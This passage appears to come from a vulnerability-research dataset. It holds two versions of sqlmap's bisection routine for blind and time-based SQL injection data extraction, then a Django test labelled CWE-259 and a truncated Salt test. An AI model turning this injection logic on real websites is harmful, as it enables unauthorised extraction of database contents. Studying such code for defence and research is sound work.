            else:
                dataToStdout(""\r[%s] [INFO] retrieved: "" % time.strftime(""%X""))

        hintlock = threading.Lock()

        def tryHint(idx):
            with hintlock:
                hintValue = kb.hintValue

            if hintValue is not None and len(hintValue) >= idx:
                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
                    posValue = hintValue[idx - 1]
                else:
                    posValue = ord(hintValue[idx - 1])

                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return hintValue[idx - 1]

            with hintlock:
                kb.hintValue = None

            return None

        def validateChar(idx, value):
            """"""
            Used in time-based inference (in case that original and retrieved
            value are not equal there will be a deliberate delay).
            """"""

            forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value))
            result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
            incrementCounter(kb.technique)

            return not result

        def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None):
            """"""
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """"""

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = list(asciiTbl)

            originalTbl = list(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
                charTbl.remove(ord('\n'))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minChar = minValue = charTbl[0]

            while len(charTbl) != 1:
                position = (len(charTbl) >> 1)
                posValue = charTbl[position]

                if CHAR_INFERENCE_MARK not in payload:
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
                else:
                    # e.g.: ... > '%c' -> ... > ORD(..)
                    markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
                    unescapedCharValue = unescaper.unescape(""'%s'"" % decodeIntToUnicode(posValue))
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)

                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    minValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[position:]
                    else:
                        # xrange() - extended virtual charset used for memory/space optimization
                        charTbl = xrange(charTbl[position], charTbl[-1] + 1)
                else:
                    maxValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[:position]
                    else:
                        charTbl = xrange(charTbl[0], charTbl[position])

                if len(charTbl) == 1:
                    if continuousOrder:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
                                originalTbl = list(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minChar = minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
                                if timeBasedCompare and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    kb.timeValidCharsRun = 0
                                    if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS:
                                        errMsg = ""invalid character detected. retrying..""
                                        logger.error(errMsg)

                                        conf.timeSec += 1

                                        warnMsg = ""increasing time delay to %d second%s "" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
                                        logger.warn(warnMsg)

                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                            dbgMsg = ""turning off time auto-adjustment mechanism""
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl, continuousOrder, expand, shiftTable)
                                    else:
                                        errMsg = ""unable to properly validate last character value ('%s').."" % decodeIntToUnicode(retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        kb.timeValidCharsRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = ""turning back on time auto-adjustment mechanism""
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
                    else:
                        if minValue == maxChar or maxValue == minChar:
                            return None

                        # If we are working with non-continuous elements, set
                        # both minValue and character afterwards are possible
                        # candidates
                        for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]):
                            forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
                            result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                            incrementCounter(kb.technique)

                            if result:
                                return decodeIntToUnicode(retVal)

                        return None

        def etaProgressUpdate(charTime, index):
            if len(progressTime) <= ((length * 3) / 100):
                eta = 0
            else:
                midTime = sum(progressTime) / len(progressTime)
                midTimeWithLatest = (midTime + charTime) / 2
                eta = midTimeWithLatest * (length - index) / conf.threads

            progressTime.append(charTime)
            progress.update(index)
            progress.draw(eta)

        # Go multi-threading (--threads > 1)
        if conf.threads > 1 and isinstance(length, int) and length > 1:
            threadData = getCurrentThreadData()

            threadData.shared.value = [None] * length
            threadData.shared.index = [firstChar]    # As list for python nested function scoping
            threadData.shared.start = firstChar

            try:
                def blindThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        kb.locks.index.acquire()

                        if threadData.shared.index[0] - firstChar >= length:
                            kb.locks.index.release()

                            return

                        threadData.shared.index[0] += 1
                        curidx = threadData.shared.index[0]
                        kb.locks.index.release()

                        if kb.threadContinue:
                            charStart = time.time()
                            val = getChar(curidx)
                            if val is None:
                                val = INFERENCE_UNKNOWN_CHAR
                        else:
                            break

                        with kb.locks.value:
                            threadData.shared.value[curidx - 1 - firstChar] = val
                            currentValue = list(threadData.shared.value)

                        if kb.threadContinue:
                            if showEta:
                                etaProgressUpdate(time.time() - charStart, threadData.shared.index[0])
                            elif conf.verbose >= 1:
                                startCharIndex = 0
                                endCharIndex = 0

                                for i in xrange(length):
                                    if currentValue[i] is not None:
                                        endCharIndex = max(endCharIndex, i)

                                output = ''

                                if endCharIndex > conf.progressWidth:
                                    startCharIndex = endCharIndex - conf.progressWidth

                                count = threadData.shared.start

                                for i in xrange(startCharIndex, endCharIndex + 1):
                                    output += '_' if currentValue[i] is None else currentValue[i]

                                for i in xrange(length):
                                    count += 1 if currentValue[i] is not None else 0

                                if startCharIndex > 0:
                                    output = '..' + output[2:]

                                if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
                                    output = output[:-2] + '..'

                                if conf.verbose in (1, 2) and not showEta:
                                    _ = count - firstChar
                                    output += '_' * (min(length, conf.progressWidth) - len(output))
                                    status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length))
                                    output += status if _ != length else "" "" * len(status)

                                    dataToStdout(""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), filterControlChars(output)))

                runThreads(numThreads, blindThread, startThreadMsg=False)

            except KeyboardInterrupt:
                abortedFlag = True

            finally:
                value = [partialValue[_] if _ < len(partialValue) else threadData.shared.value[_] for _ in xrange(length)]

            infoMsg = None

            # If we have got one single character not correctly fetched it
            # can mean that the connection to the target url was lost
            if None in value:
                partialValue = """".join(value[:value.index(None)])

                if partialValue:
                    infoMsg = ""\r[%s] [INFO] partially retrieved: %s"" % (time.strftime(""%X""), filterControlChars(partialValue))
            else:
                finalValue = """".join(value)
                infoMsg = ""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), filterControlChars(finalValue))

            if conf.verbose in (1, 2) and not showEta and infoMsg:
                dataToStdout(infoMsg)

        # No multi-threading (--threads = 1)
        else:
            index = firstChar

            while True:
                index += 1
                charStart = time.time()

                # Common prediction feature (a.k.a. ""good samaritan"")
                # NOTE: to be used only when multi-threading is not set for
                # the moment
                if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
                    val = None
                    commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)

                    # If there is one single output in common-outputs, check
                    # it via equal against the query output
                    if commonValue is not None:
                        # One-shot query containing equals commonValue
                        testValue = unescaper.unescape(""'%s'"" % commonValue) if ""'"" not in commonValue else unescaper.unescape(""%s"" % commonValue, quote=False)
                        query = agent.prefixQuery(safeStringFormat(""AND (%s) = %s"", (expressionUnescaped, testValue)))
                        query = agent.suffixQuery(query)
                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            if showEta:
                                etaProgressUpdate(time.time() - charStart, len(commonValue))
                            elif conf.verbose in (1, 2):
                                dataToStdout(filterControlChars(commonValue[index - 1:]))

                            finalValue = commonValue

                            break

                    # If there is a common pattern starting with partialValue,
                    # check it via equal against the substring-query output
                    if commonPattern is not None:
                        # Substring-query containing equals commonPattern
                        subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
                        testValue = unescaper.unescape(""'%s'"" % commonPattern) if ""'"" not in commonPattern else unescaper.unescape(""%s"" % commonPattern, quote=False)
                        query = agent.prefixQuery(safeStringFormat(""AND (%s) = %s"", (subquery, testValue)))
                        query = agent.suffixQuery(query)
                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            val = commonPattern[index - 1:]
                            index += len(val) - 1

                    # Otherwise if there is no commonValue (single match from
                    # txt/common-outputs.txt) and no commonPattern
                    # (common pattern) use the returned common charset only
                    # to retrieve the query output
                    if not val and commonCharset:
                        val = getChar(index, commonCharset, False)

                    # If we had no luck with commonValue and common charset,
                    # use the returned other charset
                    if not val:
                        val = getChar(index, otherCharset, otherCharset == asciiTbl)
                else:
                    val = getChar(index, asciiTbl)

                if val is None or (lastChar > 0 and index > lastChar):
                    finalValue = partialValue
                    break

                if kb.data.processChar:
                    val = kb.data.processChar(val)

                partialValue += val

                if showEta:
                    etaProgressUpdate(time.time() - charStart, index)
                elif conf.verbose in (1, 2):
                    dataToStdout(filterControlChars(val))

                if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
                    finalValue = partialValue
                    break

    except KeyboardInterrupt:
        abortedFlag = True
    finally:
        kb.prependFlag = False
        kb.stickyLevel = None
        retrievedLength = len(finalValue or """")

        if finalValue is not None:
            finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue
            hashDBWrite(expression, finalValue)
        elif partialValue:
            hashDBWrite(expression, ""%s%s"" % (PARTIAL_VALUE_MARKER, partialValue))

    if conf.hexConvert and not abortedFlag:
        infoMsg = ""\r[%s] [INFO] retrieved: %s  %s\n"" % (time.strftime(""%X""), filterControlChars(finalValue), "" "" * retrievedLength)
        dataToStdout(infoMsg)
    else:
        if conf.verbose in (1, 2) or showEta:
            dataToStdout(""\n"")

        if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
            infoMsg = ""retrieved: %s"" % filterControlChars(finalValue)
            logger.info(infoMsg)

    if kb.threadException:
        raise SqlmapThreadException(""something unexpected happened inside the threads"")

    if abortedFlag:
        raise KeyboardInterrupt

    _ = finalValue or partialValue
    return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _",,sqlmapproject/sqlmap,4b792696084e80eff09d11e2196ea6c444fa8010,"def bisection(payload, expression, length=None, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """"""
    Bisection algorithm that can be used to perform blind SQL injection
    on an affected host
    """"""

    abortedFlag = False
    partialValue = u""""
    finalValue = None
    retrievedLength = 0
    asciiTbl = getCharset(charsetType)
    timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
    retVal = hashDBRetrieve(expression, checkConf=True)

    if retVal:
        if PARTIAL_VALUE_MARKER in retVal:
            retVal = retVal.replace(PARTIAL_VALUE_MARKER, """")

            if retVal:
                partialValue = retVal
                infoMsg = ""resuming partial value: %s"" % safecharencode(partialValue)
                logger.info(infoMsg)
        else:
            infoMsg = ""resumed: %s"" % safecharencode(retVal)
            logger.info(infoMsg)

            return 0, retVal

    try:
        # Set kb.partRun in case ""common prediction"" feature (a.k.a. ""good
        # samaritan"") is used
        kb.partRun = getPartRun() if conf.predictOutput else None

        if partialValue:
            firstChar = len(partialValue)
        elif ""LENGTH("" in expression.upper() or ""LEN("" in expression.upper():
            firstChar = 0
        elif dump and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
            firstChar = int(conf.firstChar) - 1
        elif firstChar is None:
            firstChar = 0
        elif (isinstance(firstChar, basestring) and firstChar.isdigit()) or isinstance(firstChar, int):
            firstChar = int(firstChar) - 1

        if ""LENGTH("" in expression.upper() or ""LEN("" in expression.upper():
            lastChar = 0
        elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (isinstance(conf.lastChar, basestring) and conf.lastChar.isdigit())):
            lastChar = int(conf.lastChar)
        elif lastChar in (None, ""0""):
            lastChar = 0
        elif (isinstance(lastChar, basestring) and lastChar.isdigit()) or isinstance(lastChar, int):
            lastChar = int(lastChar)

        if Backend.getDbms():
            _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
            nulledCastedField = agent.nullAndCastField(fieldToCastStr)
            expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
            expressionUnescaped = unescaper.unescape(expressionReplaced)
        else:
            expressionUnescaped = unescaper.unescape(expression)

        if length and isinstance(length, basestring) and length.isdigit():
            length = int(length)

        if length == 0:
            return 0, """"

        if length and (lastChar > 0 or firstChar > 0):
            length = min(length, lastChar or length) - firstChar

        showEta = conf.eta and isinstance(length, int)
        numThreads = min(conf.threads, length)

        if showEta:
            progress = ProgressBar(maxValue=length)
            progressTime = []

        if timeBasedCompare and conf.threads > 1:
            warnMsg = ""multi-threading is considered unsafe in time-based data retrieval. Going to switch it off automatically""
            singleTimeWarnMessage(warnMsg)

        if numThreads > 1:
            if not timeBasedCompare:
                debugMsg = ""starting %d thread%s"" % (numThreads, (""s"" if numThreads > 1 else """"))
                logger.debug(debugMsg)
            else:
                numThreads = 1

        if conf.threads == 1 and not timeBasedCompare and not conf.predictOutput:
            warnMsg = ""running in a single-thread mode. Please consider ""
            warnMsg += ""usage of option '--threads' for faster data retrieval""
            singleTimeWarnMessage(warnMsg)

        if conf.verbose in (1, 2) and not showEta:
            if isinstance(length, int) and conf.threads > 1:
                dataToStdout(""[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), ""_"" * min(length, conf.progressWidth)))
                dataToStdout(""\r[%s] [INFO] retrieved: "" % time.strftime(""%X""))
            else:
                dataToStdout(""\r[%s] [INFO] retrieved: "" % time.strftime(""%X""))

        hintlock = threading.Lock()

        def tryHint(idx):
            with hintlock:
                hintValue = kb.hintValue

            if hintValue is not None and len(hintValue) >= idx:
                if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
                    posValue = hintValue[idx - 1]
                else:
                    posValue = ord(hintValue[idx - 1])

                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, posValue))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return hintValue[idx - 1]

            with hintlock:
                kb.hintValue = None

            return None

        def validateChar(idx, value):
            """"""
            Used in time-based inference (in case that original and retrieved
            value are not equal there will be a deliberate delay).
            """"""

            forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value))
            result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
            incrementCounter(kb.technique)

            return not result

        def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None):
            """"""
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """"""

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = list(asciiTbl)

            originalTbl = list(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if CHAR_INFERENCE_MARK in payload and ord('\n') in charTbl:
                charTbl.remove(ord('\n'))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minChar = minValue = charTbl[0]

            while len(charTbl) != 1:
                position = (len(charTbl) >> 1)
                posValue = charTbl[position]

                if CHAR_INFERENCE_MARK not in payload:
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
                else:
                    # e.g.: ... > '%c' -> ... > ORD(..)
                    markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
                    unescapedCharValue = unescaper.unescape(""'%s'"" % decodeIntToUnicode(posValue))
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)

                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    minValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[position:]
                    else:
                        # xrange() - extended virtual charset used for memory/space optimization
                        charTbl = xrange(charTbl[position], charTbl[-1] + 1)
                else:
                    maxValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[:position]
                    else:
                        charTbl = xrange(charTbl[0], charTbl[position])

                if len(charTbl) == 1:
                    if continuousOrder:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
                                originalTbl = list(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minChar = minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
                                if timeBasedCompare and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    kb.timeValidCharsRun = 0
                                    if (conf.timeSec - kb.originalTimeDelay) < MAX_TIME_REVALIDATION_STEPS:
                                        errMsg = ""invalid character detected. retrying..""
                                        logger.error(errMsg)

                                        conf.timeSec += 1

                                        warnMsg = ""increasing time delay to %d second%s "" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
                                        logger.warn(warnMsg)

                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                            dbgMsg = ""turning off time auto-adjustment mechanism""
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

                                        return getChar(idx, originalTbl, continuousOrder, expand, shiftTable)
                                    else:
                                        errMsg = ""unable to properly validate last character value ('%s').."" % decodeIntToUnicode(retVal)
                                        logger.error(errMsg)
                                        conf.timeSec = kb.originalTimeDelay
                                        return decodeIntToUnicode(retVal)
                                else:
                                    if timeBasedCompare:
                                        kb.timeValidCharsRun += 1
                                        if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD:
                                            dbgMsg = ""turning back on time auto-adjustment mechanism""
                                            logger.debug(dbgMsg)
                                            kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES

                                    return decodeIntToUnicode(retVal)
                            else:
                                return None
                    else:
                        if minValue == maxChar or maxValue == minChar:
                            return None

                        # If we are working with non-continuous elements, set
                        # both minValue and character afterwards are possible
                        # candidates
                        for retVal in (originalTbl[originalTbl.index(minValue)], originalTbl[originalTbl.index(minValue) + 1]):
                            forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, retVal))
                            result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                            incrementCounter(kb.technique)

                            if result:
                                return decodeIntToUnicode(retVal)

                        return None

        def etaProgressUpdate(charTime, index):
            if len(progressTime) <= ((length * 3) / 100):
                eta = 0
            else:
                midTime = sum(progressTime) / len(progressTime)
                midTimeWithLatest = (midTime + charTime) / 2
                eta = midTimeWithLatest * (length - index) / conf.threads

            progressTime.append(charTime)
            progress.update(index)
            progress.draw(eta)

        # Go multi-threading (--threads > 1)
        if conf.threads > 1 and isinstance(length, int) and length > 1:
            threadData = getCurrentThreadData()

            threadData.shared.value = [None] * length
            threadData.shared.index = [firstChar]    # As list for python nested function scoping
            threadData.shared.start = firstChar

            try:
                def blindThread():
                    threadData = getCurrentThreadData()

                    while kb.threadContinue:
                        kb.locks.index.acquire()

                        if threadData.shared.index[0] - firstChar >= length:
                            kb.locks.index.release()

                            return

                        threadData.shared.index[0] += 1
                        curidx = threadData.shared.index[0]
                        kb.locks.index.release()

                        if kb.threadContinue:
                            charStart = time.time()
                            val = getChar(curidx)
                            if val is None:
                                val = INFERENCE_UNKNOWN_CHAR
                        else:
                            break

                        with kb.locks.value:
                            threadData.shared.value[curidx - 1 - firstChar] = val
                            currentValue = list(threadData.shared.value)

                        if kb.threadContinue:
                            if showEta:
                                etaProgressUpdate(time.time() - charStart, threadData.shared.index[0])
                            elif conf.verbose >= 1:
                                startCharIndex = 0
                                endCharIndex = 0

                                for i in xrange(length):
                                    if currentValue[i] is not None:
                                        endCharIndex = max(endCharIndex, i)

                                output = ''

                                if endCharIndex > conf.progressWidth:
                                    startCharIndex = endCharIndex - conf.progressWidth

                                count = threadData.shared.start

                                for i in xrange(startCharIndex, endCharIndex + 1):
                                    output += '_' if currentValue[i] is None else currentValue[i]

                                for i in xrange(length):
                                    count += 1 if currentValue[i] is not None else 0

                                if startCharIndex > 0:
                                    output = '..' + output[2:]

                                if (endCharIndex - startCharIndex == conf.progressWidth) and (endCharIndex < length - 1):
                                    output = output[:-2] + '..'

                                if conf.verbose in (1, 2) and not showEta:
                                    _ = count - firstChar
                                    output += '_' * (min(length, conf.progressWidth) - len(output))
                                    status = ' %d/%d (%d%%)' % (_, length, round(100.0 * _ / length))
                                    output += status if _ != length else "" "" * len(status)

                                    dataToStdout(""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), filterControlChars(output)))

                runThreads(numThreads, blindThread, startThreadMsg=False)

            except KeyboardInterrupt:
                abortedFlag = True

            finally:
                value = (partialValue[_] if _ < len(partialValue) else threadData.shared.value[_] for _ in xrange(length))

            infoMsg = None

            # If we have got one single character not correctly fetched it
            # can mean that the connection to the target url was lost
            if None in value:
                partialValue = """".join(value[:value.index(None)])

                if partialValue:
                    infoMsg = ""\r[%s] [INFO] partially retrieved: %s"" % (time.strftime(""%X""), filterControlChars(partialValue))
            else:
                finalValue = """".join(value)
                infoMsg = ""\r[%s] [INFO] retrieved: %s"" % (time.strftime(""%X""), filterControlChars(finalValue))

            if conf.verbose in (1, 2) and not showEta and infoMsg:
                dataToStdout(infoMsg)

        # No multi-threading (--threads = 1)
        else:
            index = firstChar

            while True:
                index += 1
                charStart = time.time()

                # Common prediction feature (a.k.a. ""good samaritan"")
                # NOTE: to be used only when multi-threading is not set for
                # the moment
                if conf.predictOutput and len(partialValue) > 0 and kb.partRun is not None:
                    val = None
                    commonValue, commonPattern, commonCharset, otherCharset = goGoodSamaritan(partialValue, asciiTbl)

                    # If there is one single output in common-outputs, check
                    # it via equal against the query output
                    if commonValue is not None:
                        # One-shot query containing equals commonValue
                        testValue = unescaper.unescape(""'%s'"" % commonValue) if ""'"" not in commonValue else unescaper.unescape(""%s"" % commonValue, quote=False)
                        query = agent.prefixQuery(safeStringFormat(""AND (%s) = %s"", (expressionUnescaped, testValue)))
                        query = agent.suffixQuery(query)
                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            if showEta:
                                etaProgressUpdate(time.time() - charStart, len(commonValue))
                            elif conf.verbose in (1, 2):
                                dataToStdout(filterControlChars(commonValue[index - 1:]))

                            finalValue = commonValue

                            break

                    # If there is a common pattern starting with partialValue,
                    # check it via equal against the substring-query output
                    if commonPattern is not None:
                        # Substring-query containing equals commonPattern
                        subquery = queries[Backend.getIdentifiedDbms()].substring.query % (expressionUnescaped, 1, len(commonPattern))
                        testValue = unescaper.unescape(""'%s'"" % commonPattern) if ""'"" not in commonPattern else unescaper.unescape(""%s"" % commonPattern, quote=False)
                        query = agent.prefixQuery(safeStringFormat(""AND (%s) = %s"", (subquery, testValue)))
                        query = agent.suffixQuery(query)
                        result = Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)
                        incrementCounter(kb.technique)

                        # Did we have luck?
                        if result:
                            val = commonPattern[index - 1:]
                            index += len(val) - 1

                    # Otherwise if there is no commonValue (single match from
                    # txt/common-outputs.txt) and no commonPattern
                    # (common pattern) use the returned common charset only
                    # to retrieve the query output
                    if not val and commonCharset:
                        val = getChar(index, commonCharset, False)

                    # If we had no luck with commonValue and common charset,
                    # use the returned other charset
                    if not val:
                        val = getChar(index, otherCharset, otherCharset == asciiTbl)
                else:
                    val = getChar(index, asciiTbl)

                if val is None or (lastChar > 0 and index > lastChar):
                    finalValue = partialValue
                    break

                if kb.data.processChar:
                    val = kb.data.processChar(val)

                partialValue += val

                if showEta:
                    etaProgressUpdate(time.time() - charStart, index)
                elif conf.verbose in (1, 2):
                    dataToStdout(filterControlChars(val))

                if len(partialValue) > INFERENCE_BLANK_BREAK and partialValue[-INFERENCE_BLANK_BREAK:].isspace():
                    finalValue = partialValue
                    break

    except KeyboardInterrupt:
        abortedFlag = True
    finally:
        kb.prependFlag = False
        kb.stickyLevel = None
        retrievedLength = len(finalValue or """")

        if finalValue is not None:
            finalValue = decodeHexValue(finalValue) if conf.hexConvert else finalValue
            hashDBWrite(expression, finalValue)
        elif partialValue:
            hashDBWrite(expression, ""%s%s"" % (PARTIAL_VALUE_MARKER, partialValue))

    if conf.hexConvert and not abortedFlag:
        infoMsg = ""\r[%s] [INFO] retrieved: %s  %s\n"" % (time.strftime(""%X""), filterControlChars(finalValue), "" "" * retrievedLength)
        dataToStdout(infoMsg)
    else:
        if conf.verbose in (1, 2) or showEta:
            dataToStdout(""\n"")

        if (conf.verbose in (1, 2) and showEta) or conf.verbose >= 3:
            infoMsg = ""retrieved: %s"" % filterControlChars(finalValue)
            logger.info(infoMsg)

    if kb.threadException:
        raise SqlmapThreadException(""something unexpected happened inside the threads"")

    if abortedFlag:
        raise KeyboardInterrupt

    _ = finalValue or partialValue
    return getCounter(kb.technique), safecharencode(_) if kb.safeCharEncode else _"
,UNKNOWN,UNKNOWN,tests/auth_tests/test_mixins.py,1,"def test_stacked_mixins_missing_permission(self):
        user = models.User.objects.create(username='joe', password='qwerty')
        perms = models.Permission.objects.filter(codename__in=('add_customuser',))
        user.user_permissions.add(*perms)
        request = self.factory.get('/rand')
        request.user = user

        view = StackedMixinsView1.as_view()
        with self.assertRaises(PermissionDenied):
            view(request)

        view = StackedMixinsView2.as_view()
        with self.assertRaises(PermissionDenied):
            view(request)",CWE-259,django/django,9b1125bfc7e2dc747128e6e7e8a2259ff1a7d39f,"def test_stacked_mixins_missing_permission(self):
        user = models.User.objects.create(username='joe', password='qwerty')
        perms = models.Permission.objects.filter(codename__in=('add_customuser',))
        user.user_permissions.add(*perms)
        request = self.factory.get('/rand')
        request.user = user

        view = StackedMixinsView1.as_view()
        with self.assertRaises(PermissionDenied):
            view(request)

        view = StackedMixinsView2.as_view()
        with self.assertRaises(PermissionDenied):
            view(request)"
,UNKNOWN,UNKNOWN,tests/pytests/functional/states/win_lgpo/test_adv_audit_settings_state.py,1,"def _test_adv_auditing(setting, expected):
    """"""
    Helper function to set an audit setting and assert that it was successful
    """"""
    win_lgpo_state.set_(
